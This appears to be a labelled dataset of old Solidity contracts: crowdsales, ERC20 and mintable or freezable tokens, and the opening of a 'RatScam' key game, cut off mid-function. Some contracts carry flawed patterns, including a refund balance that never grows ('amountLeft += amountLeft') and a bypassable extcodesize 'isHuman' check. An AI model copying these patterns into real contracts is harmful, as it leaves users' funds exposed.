tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint _addedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
return true;
}
function subApproval(address _spender, uint _subtractedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue);
}
return true;
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
weiCap = _weiCap;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 1,622 |
pragma solidity ^0.4.16;
interface token {
function transfer (address receiver, uint amount) public;
}
contract Crowdsale {
address public beneficiary;
uint public amountRaised;
uint public amountLeft;
uint public deadline;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address teamMultisig,
uint durationInMinutes,
address addressOfTokenUsedAsReward
) public{
beneficiary = teamMultisig;
deadline = now + durationInMinutes * 1 minutes;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable public{
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount*10000);
FundTransfer(msg.sender, amount, true);
if(beneficiary.send(amount))
{
FundTransfer(beneficiary, amount, false);
}
else
{
amountLeft += amountLeft;
}
}
modifier afterDeadline() { if (now >= deadline) _; }
function closeCrowdSale() afterDeadline public{
if(beneficiary == msg.sender)
{
crowdsaleClosed = true;
}
}
function safeWithdrawal() afterDeadline public{
if (beneficiary == msg.sender&& amountLeft > 0) {
if (beneficiary.send(amountLeft)) {
FundTransfer(beneficiary, amountLeft, false);
} else {
}
}
}
} | 0 | 587 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "PalladiumTokenMagic";
string public constant TOKEN_SYMBOL = "PTMX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xdF15E9399B9F325D161c38F7f2aFd72C11a19500;
uint public constant START_TIME = 1533081600;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract Checkable {
address private serviceAccount;
bool private triggered = false;
event Triggered(uint balance);
event Checked(bool isAccident);
constructor() public {
serviceAccount = msg.sender;
}
function changeServiceAccount(address _account) public onlyService {
require(_account != 0);
serviceAccount = _account;
}
function isServiceAccount() public view returns (bool) {
return msg.sender == serviceAccount;
}
function check() public payable onlyService notTriggered {
if (internalCheck()) {
emit Triggered(address(this).balance);
triggered = true;
internalAction();
}
}
function internalCheck() internal returns (bool);
function internalAction() internal;
modifier onlyService {
require(msg.sender == serviceAccount);
_;
}
modifier notTriggered {
require(!triggered);
_;
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[1] memory weiRaisedStartsBounds = [uint(0)];
uint[1] memory weiRaisedEndsBounds = [uint(115170575000000000000000)];
uint64[1] memory timeStartsBounds = [uint64(1533081600)];
uint64[1] memory timeEndsBounds = [uint64(1537027080)];
uint[1] memory weiRaisedAndTimeRates = [uint(50)];
for (uint i = 0; i < 1; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
uint[6] memory weiAmountBounds = [uint(200000000000000000000),uint(80000000000000000000),uint(30000000000000000000),uint(10000000000000000000),uint(8000000000000000000),uint(5000000000000000000)];
uint[6] memory weiAmountRates = [uint(0),uint(250),uint(0),uint(150),uint(0),uint(50)];
for (uint j = 0; j < 6; j++) {
if (_weiAmount >= weiAmountBounds[j]) {
bonusRate += bonusRate * weiAmountRates[j] / 1000;
break;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, Checkable
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(2000 * TOKEN_DECIMAL_MULTIPLIER, 0xa7c7e82a53BAEBe36f95B7Df4c447B21eADfB60B, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1541001480)
CappedCrowdsale(115170575000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[5] memory addresses = [address(0xa7c7e82a53baebe36f95b7df4c447b21eadfb60b),address(0xa7c7e82a53baebe36f95b7df4c447b21eadfb60b),address(0xf3dec80a2d514096027a56110b3fc2b155838679),address(0x5eb83c9f93eeb6bf6eb02a1aa9a0815a03c53b2a),address(0xd3841ac09b2fe75e3d0486bce88d1f41298ada41)];
uint[5] memory amounts = [uint(13100000000000000000000000),uint(29800000000000000000000000),uint(600000000000000000000000),uint(58850000000000000000000),uint(14100000000000000000000000)];
uint64[5] memory freezes = [uint64(1604073601),uint64(0),uint64(1572451201),uint64(0),uint64(1572451201)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 3000000000000000000;
return super.hasClosed() || remainValue;
}
function internalCheck() internal returns (bool) {
bool result = !isFinalized && hasClosed();
emit Checked(result);
return result;
}
function internalAction() internal {
finalization();
emit Finalized();
isFinalized = true;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 3000000000000000000);
require(msg.value <= 200000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 1,401 |
pragma solidity ^0.4.24;
contract RSEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularRatScam is RSEvents {}
contract RatScam is modularRatScam {
using SafeMath for *;
using NameFilter for string;
using RSKeysCalc for uint256;
RatBookInterface constant private RatBook = RatBookInterface(0xA50A1d26f7F9FBf24EF1a41B2870E317f9c4BC93);
string constant public name = "RatScam In One Hour";
string constant public symbol = "RS";
uint256 private rndGap_ = 0;
uint256 private rndInit_ = 1 hours;
uint256 private rndInc_ = 30 seconds;
uint256 private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
address private adminAddress;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RSdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => RSdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => RSdatasets.Round) public round_;
uint256 public fees_ = 60;
uint256 public potSplit_ = 45;
constructor()
public
{
adminAddress = msg.sender;
}
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
